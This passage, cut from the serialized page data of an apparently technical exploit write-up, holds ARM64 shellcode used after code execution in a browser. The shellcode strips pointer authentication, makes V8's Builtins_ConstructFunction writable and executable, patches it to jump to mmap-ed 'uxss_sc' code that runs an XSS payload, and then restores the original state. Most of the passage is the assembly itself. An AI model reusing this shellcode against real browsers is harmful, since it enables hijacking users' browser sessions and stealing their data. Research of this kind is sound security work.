payload",{"type":22,"tag":68,"props":141088,"children":141089},{},[141090,141092],{"type":28,"value":141091},"After finishing, the mmap-ed shellcode restores the original instructions in ",{"type":22,"tag":114,"props":141093,"children":141095},{"className":141094},[],[141096],{"type":28,"value":141064},{"type":22,"tag":68,"props":141098,"children":141099},{},[141100,141102,141107],{"type":28,"value":141101},"The mmap-ed shellcode then returns to the beginning of ",{"type":22,"tag":114,"props":141103,"children":141105},{"className":141104},[],[141106],{"type":28,"value":141064},{"type":28,"value":141108},", which now proceeds normally",{"type":22,"tag":31,"props":141110,"children":141111},{},[141112],{"type":28,"value":141113},"The ARM64 shellcode implementing this looks as follows:",{"type":22,"tag":107,"props":141115,"children":141119},{"code":141116,"language":141117,"meta":7,"className":141118,"style":7},"// get return addr to x0\nldr x0, [sp, #0x18]\n// strip pac signature from return address\n.arch armv8.3-a; xpaci x0\n\n// store x5 = Builtins_ConstructFunction\nmovz x1, #0x610c\nsub x0, x0, x1\nmov x5, x0\n\n// store x4 = page aligned ConstructFunction\nmovz x1, #0xf000\nmovk x1, #0xffff, lsl #16\nmovk x1, #0xffff, lsl #32\nand x4, x5, x1\n\n// mprotect page aligned ConstructFunction RWX\nmov x0, x4\nmov x1, #0x2000\nmov x2, #0x7\nmov x8, #226\nsvc #0\n\nmov x6, x5\n\n// mmap RWX for jump dest (uxss_sc)\nmov x0, #0\nmov x1, #0x1000\nmov x2, #0x7\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\nmov x5, x0\n\n// at this point:\n// x6 = Builtins_ConstructFunction\n// x5 = mmap page for uxss_sc\n\n// write uxss_sc to mmaped rwx page\n{write_sc(uxss_sc, \"x5\")}\n\n// wipe from cache\nmov x0, x5\n{WIPE_CACHE}\n\n// patch Builtins_ConstructFunction\n{write_sc(new_compile_instrs, \"x6\")}\n// and add a pointer to uxss_sc just above new instructions\nstr x5, [x6, #{5 * INSTR_SIZE}]\n\n// wipe from cache\nmov x0, x6\n{WIPE_CACHE}\n","asm","language-asm shiki shiki-themes slack-dark",[141120],{"type":22,"tag":114,"props":141121,"children":141122},{"__ignoreMap":7},[141123,141131,141139,141147,141155,141162,141170,141178,141186,141194,141201,141209,141217,141225,141233,141241,141248,141256,141264,141272,141280,141288,141296,141303,141311,141318,141326,141334,141342,141349,141357,141365,141373,141381,141388,141395,141402,141409,141417,141425,141433,141440,141448,141456,141463,141471,141479,141487,141494,141502,141510,141518,141526,141533,141540,141548],{"type":22,"tag":118,"props":141124,"children":141125},{"class":120,"line":121},[141126],{"type":22,"tag":118,"props":141127,"children":141128},{},[141129],{"type":28,"value":141130},"// get return addr to x0\n",{"type":22,"tag":118,"props":141132,"children":141133},{"class":120,"line":142},[141134],{"type":22,"tag":118,"props":141135,"children":141136},{},[141137],{"type":28,"value":141138},"ldr x0, [sp, #0x18]\n",{"type":22,"tag":118,"props":141140,"children":141141},{"class":120,"line":177},[141142],{"type":22,"tag":118,"props":141143,"children":141144},{},[141145],{"type":28,"value":141146},"// strip pac signature from return address\n",{"type":22,"tag":118,"props":141148,"children":141149},{"class":120,"line":195},[141150],{"type":22,"tag":118,"props":141151,"children":141152},{},[141153],{"type":28,"value":141154},".arch armv8.3-a; xpaci x0\n",{"type":22,"tag":118,"props":141156,"children":141157},{"class":120,"line":244},[141158],{"type":22,"tag":118,"props":141159,"children":141160},{"emptyLinePlaceholder":15},[141161],{"type":28,"value":250},{"type":22,"tag":118,"props":141163,"children":141164},{"class":120,"line":253},[141165],{"type":22,"tag":118,"props":141166,"children":141167},{},[141168],{"type":28,"value":141169},"// store x5 = Builtins_ConstructFunction\n",{"type":22,"tag":118,"props":141171,"children":141172},{"class":120,"line":263},[141173],{"type":22,"tag":118,"props":141174,"children":141175},{},[141176],{"type":28,"value":141177},"movz x1, #0x610c\n",{"type":22,"tag":118,"props":141179,"children":141180},{"class":120,"line":318},[141181],{"type":22,"tag":118,"props":141182,"children":141183},{},[141184],{"type":28,"value":141185},"sub x0, x0, x1\n",{"type":22,"tag":118,"props":141187,"children":141188},{"class":120,"line":351},[141189],{"type":22,"tag":118,"props":141190,"children":141191},{},[141192],{"type":28,"value":141193},"mov x5, x0\n",{"type":22,"tag":118,"props":141195,"children":141196},{"class":120,"line":359},[141197],{"type":22,"tag":118,"props":141198,"children":141199},{"emptyLinePlaceholder":15},[141200],{"type":28,"value":250},{"type":22,"tag":118,"props":141202,"children":141203},{"class":120,"line":368},[141204],{"type":22,"tag":118,"props":141205,"children":141206},{},[141207],{"type":28,"value":141208},"// store x4 = page aligned ConstructFunction\n",{"type":22,"tag":118,"props":141210,"children":141211},{"class":120,"line":384},[141212],{"type":22,"tag":118,"props":141213,"children":141214},{},[141215],{"type":28,"value":141216},"movz x1, #0xf000\n",{"type":22,"tag":118,"props":141218,"children":141219},{"class":120,"line":417},[141220],{"type":22,"tag":118,"props":141221,"children":141222},{},[141223],{"type":28,"value":141224},"movk x1, #0xffff, lsl #16\n",{"type":22,"tag":118,"props":141226,"children":141227},{"class":120,"line":425},[141228],{"type":22,"tag":118,"props":141229,"children":141230},{},[141231],{"type":28,"value":141232},"movk x1, #0xffff, lsl #32\n",{"type":22,"tag":118,"props":141234,"children":141235},{"class":120,"line":441},[141236],{"type":22,"tag":118,"props":141237,"children":141238},{},[141239],{"type":28,"value":141240},"and x4, x5, x1\n",{"type":22,"tag":118,"props":141242,"children":141243},{"class":120,"line":475},[141244],{"type":22,"tag":118,"props":141245,"children":141246},{"emptyLinePlaceholder":15},[141247],{"type":28,"value":250},{"type":22,"tag":118,"props":141249,"children":141250},{"class":120,"line":484},[141251],{"type":22,"tag":118,"props":141252,"children":141253},{},[141254],{"type":28,"value":141255},"// mprotect page aligned ConstructFunction RWX\n",{"type":22,"tag":118,"props":141257,"children":141258},{"class":120,"line":492},[141259],{"type":22,"tag":118,"props":141260,"children":141261},{},[141262],{"type":28,"value":141263},"mov x0, x4\n",{"type":22,"tag":118,"props":141265,"children":141266},{"class":120,"line":501},[141267],{"type":22,"tag":118,"props":141268,"children":141269},{},[141270],{"type":28,"value":141271},"mov x1, #0x2000\n",{"type":22,"tag":118,"props":141273,"children":141274},{"class":120,"line":519},[141275],{"type":22,"tag":118,"props":141276,"children":141277},{},[141278],{"type":28,"value":141279},"mov x2, #0x7\n",{"type":22,"tag":118,"props":141281,"children":141282},{"class":120,"line":606},[141283],{"type":22,"tag":118,"props":141284,"children":141285},{},[141286],{"type":28,"value":141287},"mov x8, #226\n",{"type":22,"tag":118,"props":141289,"children":141290},{"class":120,"line":615},[141291],{"type":22,"tag":118,"props":141292,"children":141293},{},[141294],{"type":28,"value":141295},"svc #0\n",{"type":22,"tag":118,"props":141297,"children":141298},{"class":120,"line":685},[141299],{"type":22,"tag":118,"props":141300,"children":141301},{"emptyLinePlaceholder":15},[141302],{"type":28,"value":250},{"type":22,"tag":118,"props":141304,"children":141305},{"class":120,"line":699},[141306],{"type":22,"tag":118,"props":141307,"children":141308},{},[141309],{"type":28,"value":141310},"mov x6, x5\n",{"type":22,"tag":118,"props":141312,"children":141313},{"class":120,"line":729},[141314],{"type":22,"tag":118,"props":141315,"children":141316},{"emptyLinePlaceholder":15},[141317],{"type":28,"value":250},{"type":22,"tag":118,"props":141319,"children":141320},{"class":120,"line":771},[141321],{"type":22,"tag":118,"props":141322,"children":141323},{},[141324],{"type":28,"value":141325},"// mmap RWX for jump dest (uxss_sc)\n",{"type":22,"tag":118,"props":141327,"children":141328},{"class":120,"line":785},[141329],{"type":22,"tag":118,"props":141330,"children":141331},{},[141332],{"type":28,"value":141333},"mov x0, #0\n",{"type":22,"tag":118,"props":141335,"children":141336},{"class":120,"line":804},[141337],{"type":22,"tag":118,"props":141338,"children":141339},{},[141340],{"type":28,"value":141341},"mov x1, #0x1000\n",{"type":22,"tag":118,"props":141343,"children":141344},{"class":120,"line":812},[141345],{"type":22,"tag":118,"props":141346,"children":141347},{},[141348],{"type":28,"value":141279},{"type":22,"tag":118,"props":141350,"children":141351},{"class":120,"line":821},[141352],{"type":22,"tag":118,"props":141353,"children":141354},{},[141355],{"type":28,"value":141356},"mov x3, #34\n",{"type":22,"tag":118,"props":141358,"children":141359},{"class":120,"line":900},[141360],{"type":22,"tag":118,"props":141361,"children":141362},{},[141363],{"type":28,"value":141364},"mov x4, #-1\n",{"type":22,"tag":118,"props":141366,"children":141367},{"class":120,"line":913},[141368],{"type":22,"tag":118,"props":141369,"children":141370},{},[141371],{"type":28,"value":141372},"mov x5, #0\n",{"type":22,"tag":118,"props":141374,"children":141375},{"class":120,"line":953},[141376],{"type":22,"tag":118,"props":141377,"children":141378},{},[141379],{"type":28,"value":141380},"mov x8, #222\n",{"type":22,"tag":118,"props":141382,"children":141383},{"class":120,"line":982},[141384],{"type":22,"tag":118,"props":141385,"children":141386},{},[141387],{"type":28,"value":141295},{"type":22,"tag":118,"props":141389,"children":141390},{"class":120,"line":995},[141391],{"type":22,"tag":118,"props":141392,"children":141393},{"emptyLinePlaceholder":15},[141394],{"type":28,"value":250},{"type":22,"tag":118,"props":141396,"children":141397},{"class":120,"line":1011},[141398],{"type":22,"tag":118,"props":141399,"children":141400},{},[141401],{"type":28,"value":141193},{"type":22,"tag":118,"props":141403,"children":141404},{"class":120,"line":1019},[141405],{"type":22,"tag":118,"props":141406,"children":141407},{"emptyLinePlaceholder":15},[141408],{"type":28,"value":250},{"type":22,"tag":118,"props":141410,"children":141411},{"class":120,"line":1028},[141412],{"type":22,"tag":118,"props":141413,"children":141414},{},[141415],{"type":28,"value":141416},"// at this point:\n",{"type":22,"tag":118,"props":141418,"children":141419},{"class":120,"line":1101},[141420],{"type":22,"tag":118,"props":141421,"children":141422},{},[141423],{"type":28,"value":141424},"// x6 = Builtins_ConstructFunction\n",{"type":22,"tag":118,"props":141426,"children":141427},{"class":120,"line":1146},[141428],{"type":22,"tag":118,"props":141429,"children":141430},{},[141431],{"type":28,"value":141432},"// x5 = mmap page for uxss_sc\n",{"type":22,"tag":118,"props":141434,"children":141435},{"class":120,"line":1226},[141436],{"type":22,"tag":118,"props":141437,"children":141438},{"emptyLinePlaceholder":15},[141439],{"type":28,"value":250},{"type":22,"tag":118,"props":141441,"children":141442},{"class":120,"line":1234},[141443],{"type":22,"tag":118,"props":141444,"children":141445},{},[141446],{"type":28,"value":141447},"// write uxss_sc to mmaped rwx page\n",{"type":22,"tag":118,"props":141449,"children":141450},{"class":120,"line":1248},[141451],{"type":22,"tag":118,"props":141452,"children":141453},{},[141454],{"type":28,"value":141455},"{write_sc(uxss_sc, \"x5\")}\n",{"type":22,"tag":118,"props":141457,"children":141458},{"class":120,"line":1257},[141459],{"type":22,"tag":118,"props":141460,"children":141461},{"emptyLinePlaceholder":15},[141462],{"type":28,"value":250},{"type":22,"tag":118,"props":141464,"children":141465},{"class":120,"line":25765},[141466],{"type":22,"tag":118,"props":141467,"children":141468},{},[141469],{"type":28,"value":141470},"// wipe from cache\n",{"type":22,"tag":118,"props":141472,"children":141473},{"class":120,"line":25778},[141474],{"type":22,"tag":118,"props":141475,"children":141476},{},[141477],{"type":28,"value":141478},"mov x0, x5\n",{"type":22,"tag":118,"props":141480,"children":141481},{"class":120,"line":25791},[141482],{"type":22,"tag":118,"props":141483,"children":141484},{},[141485],{"type":28,"value":141486},"{WIPE_CACHE}\n",{"type":22,"tag":118,"props":141488,"children":141489},{"class":120,"line":25804},[141490],{"type":22,"tag":118,"props":141491,"children":141492},{"emptyLinePlaceholder":15},[141493],{"type":28,"value":250},{"type":22,"tag":118,"props":141495,"children":141496},{"class":120,"line":25858},[141497],{"type":22,"tag":118,"props":141498,"children":141499},{},[141500],{"type":28,"value":141501},"// patch Builtins_ConstructFunction\n",{"type":22,"tag":118,"props":141503,"children":141504},{"class":120,"line":25867},[141505],{"type":22,"tag":118,"props":141506,"children":141507},{},[141508],{"type":28,"value":141509},"{write_sc(new_compile_instrs, \"x6\")}\n",{"type":22,"tag":118,"props":141511,"children":141512},{"class":120,"line":34219},[141513],{"type":22,"tag":118,"props":141514,"children":141515},{},[141516],{"type":28,"value":141517},"// and add a pointer to uxss_sc just above new instructions\n",{"type":22,"tag":118,"props":141519,"children":141520},{"class":120,"line":34240},[141521],{"type":22,"tag":118,"props":141522,"children":141523},{},[141524],{"type":28,"value":141525},"str x5, [x6, #{5 * INSTR_SIZE}]\n",{"type":22,"tag":118,"props":141527,"children":141528},{"class":120,"line":82547},[141529],{"type":22,"tag":118,"props":141530,"children":141531},{"emptyLinePlaceholder":15},[141532],{"type":28,"value":250},{"type":22,"tag":118,"props":141534,"children":141535},{"class":120,"line":82560},[141536],{"type":22,"tag":118,"props":141537,"children":141538},{},[141539],{"type":28,"value":141470},{"type":22,"tag":118,"props":141541,"children":141542},{"class":120,"line":82568},[141543],{"type":22,"tag":118,"props":141544,"children":141545},{},[141546],{"type":28,"value":141547},"mov x0, x6\n",{"type":22,"tag":118,"props":141549,"children":141550},{"class":120,"line":82576},[141551],{"type":22,"tag":118,"props":141552,"children":141553},{},[141554],{"type":28,"value":141486},{"type":22,"tag":31,"props":141556,"children":141557},{},[141558,141560,141566,141568,141573,141575,141581],{"type":28,"value":141559},"In the snippet above, ",{"type":22,"tag":114,"props":141561,"children":141563},{"className":141562},[],[141564],{"type":28,"value":141565},"new_compile_instrs",{"type":28,"value":141567}," refers to the instructions written to the beginning of ",{"type":22,"tag":114,"props":141569,"children":141571},{"className":141570},[],[141572],{"type":28,"value":141064},{"type":28,"value":141574}," that invoke the ",{"type":22,"tag":114,"props":141576,"children":141578},{"className":141577},[],[141579],{"type":28,"value":141580},"uxss_sc",{"type":28,"value":141582}," mmap-ed shellcode:",{"type":22,"tag":107,"props":141584,"children":141586},{"code":141585,"language":141117,"meta":7,"className":141118,"style":7},"bti c\n\n// store registers that will be overwritten\nstp x15, lr, [sp, #-16]!\n\n// get current rip into x15\nadr x15, .\n\n// load the uxss_sc pointer saved just above new instructions\nldr x15, [x15, #{3 * INSTR_SIZE}]\n\n// jump to uxss_sc\nblr x15\n",[141587],{"type":22,"tag":114,"props":141588,"children":141589},{"__ignoreMap":7},[141590,141598,141605,141613,141621,141628,141636,141644,141651,141659,141667,141674,141682],{"type":22,"tag":118,"props":141591,"children":141592},{"class":120,"line":121},[141593],{"type":22,"tag":118,"props":141594,"children":141595},{},[141596],{"type":28,"value":141597},"bti c\n",{"type":22,"tag":118,"props":141599,"children":141600},{"class":120,"line":142},[141601],{"type":22,"tag":118,"props":141602,"children":141603},{"emptyLinePlaceholder":15},[141604],{"type":28,"value":250},{"type":22,"tag":118,"props":141606,"children":141607},{"class":120,"line":177},[141608],{"type":22,"tag":118,"props":141609,"children":141610},{},[141611],{"type":28,"value":141612},"// store registers that will be overwritten\n",{"type":22,"tag":118,"props":141614,"children":141615},{"class":120,"line":195},[141616],{"type":22,"tag":118,"props":141617,"children":141618},{},[141619],{"type":28,"value":141620},"stp x15, lr, [sp, #-16]!\n",{"type":22,"tag":118,"props":141622,"children":141623},{"class":120,"line":244},[141624],{"type":22,"tag":118,"props":141625,"children":141626},{"emptyLinePlaceholder":15},[141627],{"type":28,"value":250},{"type":22,"tag":118,"props":141629,"children":141630},{"class":120,"line":253},[141631],{"type":22,"tag":118,"props":141632,"children":141633},{},[141634],{"type":28,"value":141635},"// get current rip into x15\n",{"type":22,"tag":118,"props":141637,"children":141638},{"class":120,"line":263},[141639],{"type":22,"tag":118,"props":141640,"children":141641},{},[141642],{"type":28,"value":141643},"adr x15, .\n",{"type":22,"tag":118,"props":141645,"children":141646},{"class":120,"line":318},[141647],{"type":22,"tag":118,"props":141648,"children":141649},{"emptyLinePlaceholder":15},[141650],{"type":28,"value":250},{"type":22,"tag":118,"props":141652,"children":141653},{"class":120,"line":351},[141654],{"type":22,"tag":118,"props":141655,"children":141656},{},[141657],{"type":28,"value":141658},"// load the uxss_sc pointer saved just above new instructions\n",{"type":22,"tag":118,"props":141660,"children":141661},{"class":120,"line":359},[141662],{"type":22,"tag":118,"props":141663,"children":141664},{},[141665],{"type":28,"value":141666},"ldr x15, [x15, #{3 * INSTR_SIZE}]\n",{"type":22,"tag":118,"props":141668,"children":141669},{"class":120,"line":368},[141670],{"type":22,"tag":118,"props":141671,"children":141672},{"emptyLinePlaceholder":15},[141673],{"type":28,"value":250},{"type":22,"tag":118,"props":141675,"children":141676},{"class":120,"line":384},[141677],{"type":22,"tag":118,"props":141678,"children":141679},{},[141680],{"type":28,"value":141681},"// jump to uxss_sc\n",{"type":22,"tag":118,"props":141683,"children":141684},{"class":120,"line":417},[141685],{"type":22,"tag":118,"props":141686,"children":141687},{},[141688],{"type":28,"value":141689},"blr x15\n",{"type":22,"tag":31,"props":141691,"children":141692},{},[141693,141698,141700,141705],{"type":22,"tag":114,"props":141694,"children":141696},{"className":141695},[],[141697],{"type":28,"value":141580},{"type":28,"value":141699}," is the mmap-ed shellcode invoked by the patched ",{"type":22,"tag":114,"props":141701,"children":141703},{"className":141702},[],[141704],{"type":28,"value":141064},{"type":28,"value":141706}," to execute our XSS payload. Its prologue looks like this:",{"type":22,"tag":107,"props":141708,"children":141710},{"code":141709,"language":141117,"meta":7,"className":141118,"style":7},"bti c\n\n// Save full register context\nstp x0,  x1,  [sp, #-16]!\nstp x2,  x3,  [sp, #-16]!\nstp x4,  x5,  [sp, #-16]!\nstp x6,  x7,  [sp, #-16]!\nstp x8,  x9,  [sp, #-16]!\nstp x10, x11, [sp, #-16]!\nstp x12, x13, [sp, #-16]!\nstp x14, x15, [sp, #-16]!\nstp x16, x17, [sp, #-16]!\nstp x18, x19, [sp, #-16]!\nstp x20, x21, [sp, #-16]!\nstp x22, x23, [sp, #-16]!\nstp x24, x25, [sp, #-16]!\nstp x26, x27, [sp, #-16]!\nstp x28, x29, [sp, #-16]!\nstr lr, [sp, #-16]!\n",[141711],{"type":22,"tag":114,"props":141712,"children":141713},{"__ignoreMap":7},[141714,141721,141728,141736,141744,141752,141760,141768,141776,141784,141792,141800,141808,141816,141824,141832,141840,141848,141856],{"type":22,"tag":118,"props":141715,"children":141716},{"class":120,"line":121},[141717],{"type":22,"tag":118,"props":141718,"children":141719},{},[141720],{"type":28,"value":141597},{"type":22,"tag":118,"props":141722,"children":141723},{"class":120,"line":142},[141724],{"type":22,"tag":118,"props":141725,"children":141726},{"emptyLinePlaceholder":15},[141727],{"type":28,"value":250},{"type":22,"tag":118,"props":141729,"children":141730},{"class":120,"line":177},[141731],{"type":22,"tag":118,"props":141732,"children":141733},{},[141734],{"type":28,"value":141735},"// Save full register context\n",{"type":22,"tag":118,"props":141737,"children":141738},{"class":120,"line":195},[141739],{"type":22,"tag":118,"props":141740,"children":141741},{},[141742],{"type":28,"value":141743},"stp x0,  x1,  [sp, #-16]!\n",{"type":22,"tag":118,"props":141745,"children":141746},{"class":120,"line":244},[141747],{"type":22,"tag":118,"props":141748,"children":141749},{},[141750],{"type":28,"value":141751},"stp x2,  x3,  [sp, #-16]!\n",{"type":22,"tag":118,"props":141753,"children":141754},{"class":120,"line":253},[141755],{"type":22,"tag":118,"props":141756,"children":141757},{},[141758],{"type":28,"value":141759},"stp x4,  x5,  [sp, #-16]!\n",{"type":22,"tag":118,"props":141761,"children":141762},{"class":120,"line":263},[141763],{"type":22,"tag":118,"props":141764,"children":141765},{},[141766],{"type":28,"value":141767},"stp x6,  x7,  [sp, #-16]!\n",{"type":22,"tag":118,"props":141769,"children":141770},{"class":120,"line":318},[141771],{"type":22,"tag":118,"props":141772,"children":141773},{},[141774],{"type":28,"value":141775},"stp x8,  x9,  [sp, #-16]!\n",{"type":22,"tag":118,"props":141777,"children":141778},{"class":120,"line":351},[141779],{"type":22,"tag":118,"props":141780,"children":141781},{},[141782],{"type":28,"value":141783},"stp x10, x11, [sp, #-16]!\n",{"type":22,"tag":118,"props":141785,"children":141786},{"class":120,"line":359},[141787],{"type":22,"tag":118,"props":141788,"children":141789},{},[141790],{"type":28,"value":141791},"stp x12, x13, [sp, #-16]!\n",{"type":22,"tag":118,"props":141793,"children":141794},{"class":120,"line":368},[141795],{"type":22,"tag":118,"props":141796,"children":141797},{},[141798],{"type":28,"value":141799},"stp x14, x15, [sp, #-16]!\n",{"type":22,"tag":118,"props":141801,"children":141802},{"class":120,"line":384},[141803],{"type":22,"tag":118,"props":141804,"children":141805},{},[141806],{"type":28,"value":141807},"stp x16, x17, [sp, #-16]!\n",{"type":22,"tag":118,"props":141809,"children":141810},{"class":120,"line":417},[141811],{"type":22,"tag":118,"props":141812,"children":141813},{},[141814],{"type":28,"value":141815},"stp x18, x19, [sp, #-16]!\n",{"type":22,"tag":118,"props":141817,"children":141818},{"class":120,"line":425},[141819],{"type":22,"tag":118,"props":141820,"children":141821},{},[141822],{"type":28,"value":141823},"stp x20, x21, [sp, #-16]!\n",{"type":22,"tag":118,"props":141825,"children":141826},{"class":120,"line":441},[141827],{"type":22,"tag":118,"props":141828,"children":141829},{},[141830],{"type":28,"value":141831},"stp x22, x23, [sp, #-16]!\n",{"type":22,"tag":118,"props":141833,"children":141834},{"class":120,"line":475},[141835],{"type":22,"tag":118,"props":141836,"children":141837},{},[141838],{"type":28,"value":141839},"stp x24, x25, [sp, #-16]!\n",{"type":22,"tag":118,"props":141841,"children":141842},{"class":120,"line":484},[141843],{"type":22,"tag":118,"props":141844,"children":141845},{},[141846],{"type":28,"value":141847},"stp x26, x27, [sp, #-16]!\n",{"type":22,"tag":118,"props":141849,"children":141850},{"class":120,"line":492},[141851],{"type":22,"tag":118,"props":141852,"children":141853},{},[141854],{"type":28,"value":141855},"stp x28, x29, [sp, #-16]!\n",{"type":22,"tag":118,"props":141857,"children":141858},{"class":120,"line":501},[141859],{"type":22,"tag":118,"props":141860,"children":141861},{},[141862],{"type":28,"value":141863},"str lr, [sp, #-16]!\n",{"type":22,"tag":31,"props":141865,"children":141866},{},[141867],{"type":28,"value":141868},"All registers are saved to the stack because we don't know which registers may be clobbered by functions invoked later.",{"type":22,"tag":31,"props":141870,"children":141871},{},[141872,141874,141879],{"type":28,"value":141873},"The epilogue restores all saved registers, restores the original instructions in ",{"type":22,"tag":114,"props":141875,"children":141877},{"className":141876},[],[141878],{"type":28,"value":141064},{"type":28,"value":141880},", and then returns execution to its beginning:",{"type":22,"tag":107,"props":141882,"children":141884},{"code":141883,"language":141117,"meta":7,"className":141118,"style":7},"// restore original instructions of Builtins_ConstructFunction\nldr lr, [sp], #16\n// move lr to the beginning of Builtins_ConstructFunction\nsub lr, lr, #{5 * INSTR_SIZE}\n{write_sc(orig_compile_instrs, \"lr\")}\n\n// wipe from cache\nmov x0, lr\n{WIPE_CACHE}\n\n// restore original registers\nldp x28, x29, [sp], #16\nldp x26, x27, [sp], #16\nldp x24, x25, [sp], #16\nldp x22, x23, [sp], #16\nldp x20, x21, [sp], #16\nldp x18, x19, [sp], #16\nldp x16, x17, [sp], #16\nldp x14, x15, [sp], #16\nldp x12, x13, [sp], #16\nldp x10, x11, [sp], #16\nldp x8,  x9,  [sp], #16\nldp x6,  x7,  [sp], #16\nldp x4,  x5,  [sp], #16\nldp x2,  x3,  [sp], #16\nldp x0,  x1,  [sp], #16\n\n// Builtins_ConstructFunction doesnt care about x4 and overwrites\n// it immediately, so we can clobber and use it as a return register.\n// This is done so lr isnt clobbered and ConstructFunction knows\n// where to return\nmov x4, lr\n\n// x15 and lr were saved in patched Builtins_ConstructFunction\nldp x15, lr, [sp], #16\n\nret x4\n",[141885],{"type":22,"tag":114,"props":141886,"children":141887},{"__ignoreMap":7},[141888,141896,141904,141912,141920,141928,141935,141942,141950,141957,141964,141972,141980,141988,141996,142004,142012,142020,142028,142036,142044,142052,142060,142068,142076,142084,142092,142099,142107,142115,142123,142131,142139,142146,142154,142162,142169],{"type":22,"tag":118,"props":141889,"children":141890},{"class":120,"line":121},[141891],{"type":22,"tag":118,"props":141892,"children":141893},{},[141894],{"type":28,"value":141895},"// restore original instructions of Builtins_ConstructFunction\n",{"type":22,"tag":118,"props":141897,"children":141898},{"class":120,"line":142},[141899],{"type":22,"tag":118,"props":141900,"children":141901},{},[141902],{"type":28,"value":141903},"ldr lr, [sp], #16\n",{"type":22,"tag":118,"props":141905,"children":141906},{"class":120,"line":177},[141907],{"type":22,"tag":118,"props":141908,"children":141909},{},[141910],{"type":28,"value":141911},"// move lr to the beginning of Builtins_ConstructFunction\n",{"type":22,"tag":118,"props":141913,"children":141914},{"class":120,"line":195},[141915],{"type":22,"tag":118,"props":141916,"children":141917},{},[141918],{"type":28,"value":141919},"sub lr, lr, #{5 * INSTR_SIZE}\n",{"type":22,"tag":118,"props":141921,"children":141922},{"class":120,"line":244},[141923],{"type":22,"tag":118,"props":141924,"children":141925},{},[141926],{"type":28,"value":141927},"{write_sc(orig_compile_instrs, \"lr\")}\n",{"type":22,"tag":118,"props":141929,"children":141930},{"class":120,"line":253},[141931],{"type":22,"tag":118,"props":141932,"children":141933},{"emptyLinePlaceholder":15},[141934],{"type":28,"value":250},{"type":22,"tag":118,"props":141936,"children":141937},{"class":120,"line":263},[141938],{"type":22,"tag":118,"props":141939,"children":141940},{},[141941],{"type":28,"value":141470},{"type":22,"tag":118,"props":141943,"children":141944},{"class":120,"line":318},[141945],{"type":22,"tag":118,"props":141946,"children":141947},{},[141948],{"type":28,"value":141949},"mov x0, lr\n",{"type":22,"tag":118,"props":141951,"children":141952},{"class":120,"line":351},[141953],{"type":22,"tag":118,"props":141954,"children":141955},{},[141956],{"type":28,"value":141486},{"type":22,"tag":118,"props":141958,"children":141959},{"class":120,"line":359},[141960],{"type":22,"tag":118,"props":141961,"children":141962},{"emptyLinePlaceholder":15},[141963],{"type":28,"value":250},{"type":22,"tag":118,"props":141965,"children":141966},{"class":120,"line":368},[141967],{"type":22,"tag":118,"props":141968,"children":141969},{},[141970],{"type":28,"value":141971},"// restore original registers\n",{"type":22,"tag":118,"props":141973,"children":141974},{"class":120,"line":384},[141975],{"type":22,"tag":118,"props":141976,"children":141977},{},[141978],{"type":28,"value":141979},"ldp x28, x29, [sp], #16\n",{"type":22,"tag":118,"props":141981,"children":141982},{"class":120,"line":417},[141983],{"type":22,"tag":118,"props":141984,"children":141985},{},[141986],{"type":28,"value":141987},"ldp x26, x27, [sp], #16\n",{"type":22,"tag":118,"props":141989,"children":141990},{"class":120,"line":425},[141991],{"type":22,"tag":118,"props":141992,"children":141993},{},[141994],{"type":28,"value":141995},"ldp x24, x25, [sp], #16\n",{"type":22,"tag":118,"props":141997,"children":141998},{"class":120,"line":441},[141999],{"type":22,"tag":118,"props":142000,"children":142001},{},[142002],{"type":28,"value":142003},"ldp x22, x23, [sp], #16\n",{"type":22,"tag":118,"props":142005,"children":142006},{"class":120,"line":475},[142007],{"type":22,"tag":118,"props":142008,"children":142009},{},[142010],{"type":28,"value":142011},"ldp x20, x21, [sp], #16\n",{"type":22,"tag":118,"props":142013,"children":142014},{"class":120,"line":484},[142015],{"type":22,"tag":118,"props":142016,"children":142017},{},[142018],{"type":28,"value":142019},"ldp x18, x19, [sp], #16\n",{"type":22,"tag":118,"props":142021,"children":142022},{"class":120,"line":492},[142023],{"type":22,"tag":118,"props":142024,"children":142025},{},[142026],{"type":28,"value":142027},"ldp x16, x17, [sp], #16\n",{"type":22,"tag":118,"props":142029,"children":142030},{"class":120,"line":501},[142031],{"type":22,"tag":118,"props":142032,"children":142033},{},[142034],{"type":28,"value":142035},"ldp x14, x15, [sp], #16\n",{"type":22,"tag":118,"props":142037,"children":142038},{"class":120,"line":519},[142039],{"type":22,"tag":118,"props":142040,"children":142041},{},[142042],{"type":28,"value":142043},"ldp x12, x13, [sp], #16\n",{"type":22,"tag":118,"props":142045,"children":142046},{"class":120,"line":606},[142047],{"type":22,"tag":118,"props":142048,"children":142049},{},[142050],{"type":28,"value":142051},"ldp x10, x11, [sp], #16\n",{"type":22,"tag":118,"props":142053,"children":142054},{"class":120,"line":615},[142055],{"type":22,"tag":118,"props":142056,"children":142057},{},[142058],{"type":28,"value":142059},"ldp x8,  x9,  [sp], #16\n",{"type":22,"tag":118,"props":142061,"children":142062},{"class":120,"line":685},[142063],{"type":22,"tag":118,"props":142064,"children":142065},{},[142066],{"type":28,"value":142067},"ldp x6,  x7,  [sp], #16\n",{"type":22,"tag":118,"props":142069,"children":142070},{"class":120,"line":699},[142071],{"type":22,"tag":118,"props":142072,"children":142073},{},[142074],{"type":28,"value":142075},"ldp x4,  x5,  [sp], #16\n",{"type":22,"tag":118,"props":142077,"children":142078},{"class":120,"line":729},[142079],{"type":22,"tag":118,"props":142080,"children":142081},{},[142082],{"type":28,"value":142083},"ldp x2,  x3,  [sp], #16\n",{"type":22,"tag":118,"props":142085,"children":142086},{"class":120,"line":771},[142087],{"type":22,"tag":118,"props":142088,"children":142089},{},[142090],{"type":28,"value":142091},"ldp x0,  x1,  [sp], #16\n",{"type":22,"tag":118,"props":142093,"children":142094},{"class":120,"line":785},[142095],{"type":22,"tag":118,"props":142096,"children":142097},{"emptyLinePlaceholder":15},[142098],{"type":28,"value":250},{"type":22,"tag":118,"props":142100,"children":142101},{"class":120,"line":804},[142102],{"type":22,"tag":118,"props":142103,"children":142104},{},[142105],{"type":28,"value":142106},"// Builtins_ConstructFunction doesnt care about x4 and overwrites\n",{"type":22,"tag":118,"props":142108,"children":142109},{"class":120,"line":812},[142110],{"type":22,"tag":118,"props":142111,"children":142112},{},[142113],{"type":28,"value":142114},"// it immediately, so we can clobber and use it as a return register.\n",{"type":22,"tag":118,"props":142116,"children":142117},{"class":120,"line":821},[142118],{"type":22,"tag":118,"props":142119,"children":142120},{},[142121],{"type":28,"value":142122},"// This is done so lr isnt clobbered and ConstructFunction 